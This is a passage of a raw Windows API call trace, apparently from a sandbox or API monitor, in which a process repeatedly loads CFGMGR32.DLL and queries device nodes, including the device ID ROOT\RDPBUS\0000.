[0247.893] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.893] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.893] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.893] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.893] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.896] malloc (_Size=0x18) returned 0x20abc281e00 [0247.897] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x3c, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0247.897] malloc (_Size=0x48) returned 0x20abc27cf80 [0247.897] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4f84f1c0, dwHighDateTime=0x1d9eb0c)) [0247.897] SetEvent (hEvent=0x248) returned 1 [0247.905] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.905] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.907] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.907] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.907] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.907] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.907] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.907] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.907] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.908] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.908] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.908] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.908] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.908] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.909] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.909] malloc (_Size=0x18) returned 0x20abc281b60 [0247.909] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x3c, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0247.910] malloc (_Size=0x48) returned 0x20abc27cf80 [0247.910] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4f875b39, dwHighDateTime=0x1d9eb0c)) [0247.911] SetEvent (hEvent=0x248) returned 1 [0247.916] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.916] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.917] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.917] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.917] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.917] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.921] malloc (_Size=0x18) returned 0x20abc281f00 [0247.921] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0247.921] malloc (_Size=0x48) returned 0x20abc27cf80 [0247.922] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4f89ce81, dwHighDateTime=0x1d9eb0c)) [0247.922] SetEvent (hEvent=0x248) returned 1 [0248.048] malloc (_Size=0xd8) returned 0x20abc284e70 [0248.048] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0248.048] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0248.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0248.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0248.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0248.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0248.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0248.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0248.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0248.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0248.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0248.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0248.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0248.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0248.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0248.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0248.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0248.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0248.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0248.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0248.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0248.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0248.052] malloc (_Size=0x18) returned 0x20abc2819a0 [0248.053] CM_Get_Device_IDA (in: dnDevInst=0x3d, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\RDPBUS\\0000") returned 0x0 [0248.053] malloc (_Size=0x48) returned 0x20abc27cf80 [0248.053] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4f9cc98e, dwHighDateTime=0x1d9eb0c)) [0248.053] SetEvent (hEvent=0x248) returned 1 [0248.059] malloc (_Size=0xd8) returned 0x20abc284e70 [0248.060] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0248.060] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0248.060] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0248.060] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0248.061] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0248.061] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0248.061] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0248.061] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0248.061] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0248.062] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0248.062] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0248.062] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0248.062] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0248.062] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0248.062] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0248.063] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0248.063] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0248.063] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0248.063] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0248.063] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0248.064] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0248.064] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0248.064] malloc (_Size=0x18) returned 0x20abc281d20 [0248.064] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0248.065] malloc (_Size=0x1a) returned 0x20abc2aa150 [0248.065] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa150, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa150, pulLength=0x2dc22fd3f8) returned 0x0 [0248.065] free (_Block=0x20abc2aa150) [0248.065] malloc (_Size=0x48) returned 0x20abc27cf80 [0248.066] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4f9f2cf5, dwHighDateTime=0x1d9eb0c)) [0248.066] SetEvent (hEvent=0x248) returned 1 [0248.069] malloc (_Size=0x18) returned 0x20abc282080 [0248.069] SafeArrayPutElement (psa=0x20abbaf22a0, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0248.070] free (_Block=0x20abc282080) [0248.070] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c370 [0248.070] SafeArrayGetDim (psa=0x20abbaf22a0) returned 0x1 [0248.070] SafeArrayGetLBound (in: psa=0x20abbaf22a0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0248.070] SafeArrayGetUBound (in: psa=0x20abbaf22a0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0248.070] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79670 [0248.070] SafeArrayGetDim (psa=0x20abbaf22a0) returned 0x1 [0248.070] SafeArrayGetUBound (in: psa=0x20abbaf22a0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0248.070] SafeArrayGetElemsize (psa=0x20abbaf22a0) returned 0x8 [0248.070] SafeArrayGetElement (in: psa=0x20abbaf22a0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0248.071] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4020c0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0248.072] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79670) returned 1 [0248.072] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c370) returned 1 [0248.073] malloc (_Size=0xd8) returned 0x20abc284e70 [0248.073] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0248.073] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0248.073] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0248.074] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0248.074] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0248.074] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0248.074] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0248.074] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0248.074] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0248.075] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0248.075] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0248.075] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0248.075] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0248.075] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0248.075] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0248.076] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0248.076] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0248.076] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0248.076] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0248.076] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0248.077] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0248.077] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0248.077] malloc (_Size=0x18) returned 0x20abc281bc0 [0248.077] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0248.078] malloc (_Size=0x48) returned 0x20abc27cb20 [0248.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4fa18efc, dwHighDateTime=0x1d9eb0c)) [0248.078] SetEvent (hEvent=0x248) returned 1 [0248.084] malloc (_Size=0xd8) returned 0x20abc284e70 [0248.084] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0248.084] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0248.084] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0248.084] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0248.085] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0248.085] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0248.085] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0248.085] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0248.085] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0248.085] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0248.086] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0248.086] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0248.086] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0248.086] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0248.086] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0248.087] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0248.087] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0248.087] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0248.087] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0248.087] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0248.087] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0248.088] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0248.088] malloc (_Size=0x18) returned 0x20abc281b80 [0248.088] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0248.323] malloc (_Size=0x48) returned 0x20abc27cb20 [0248.323] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4fc7ca84, dwHighDateTime=0x1d9eb0c)) [0248.324] SetEvent (hEvent=0x248) returned 1 [0248.330] malloc (_Size=0xd8) returned 0x20abc284e70 [0248.330] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0248.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0248.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0248.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0248.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0248.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0248.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0248.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0248.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0248.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0248.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0248.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0248.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0248.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0248.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0248.334] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0248.334] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0248.334] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0248.334] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0248.334] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 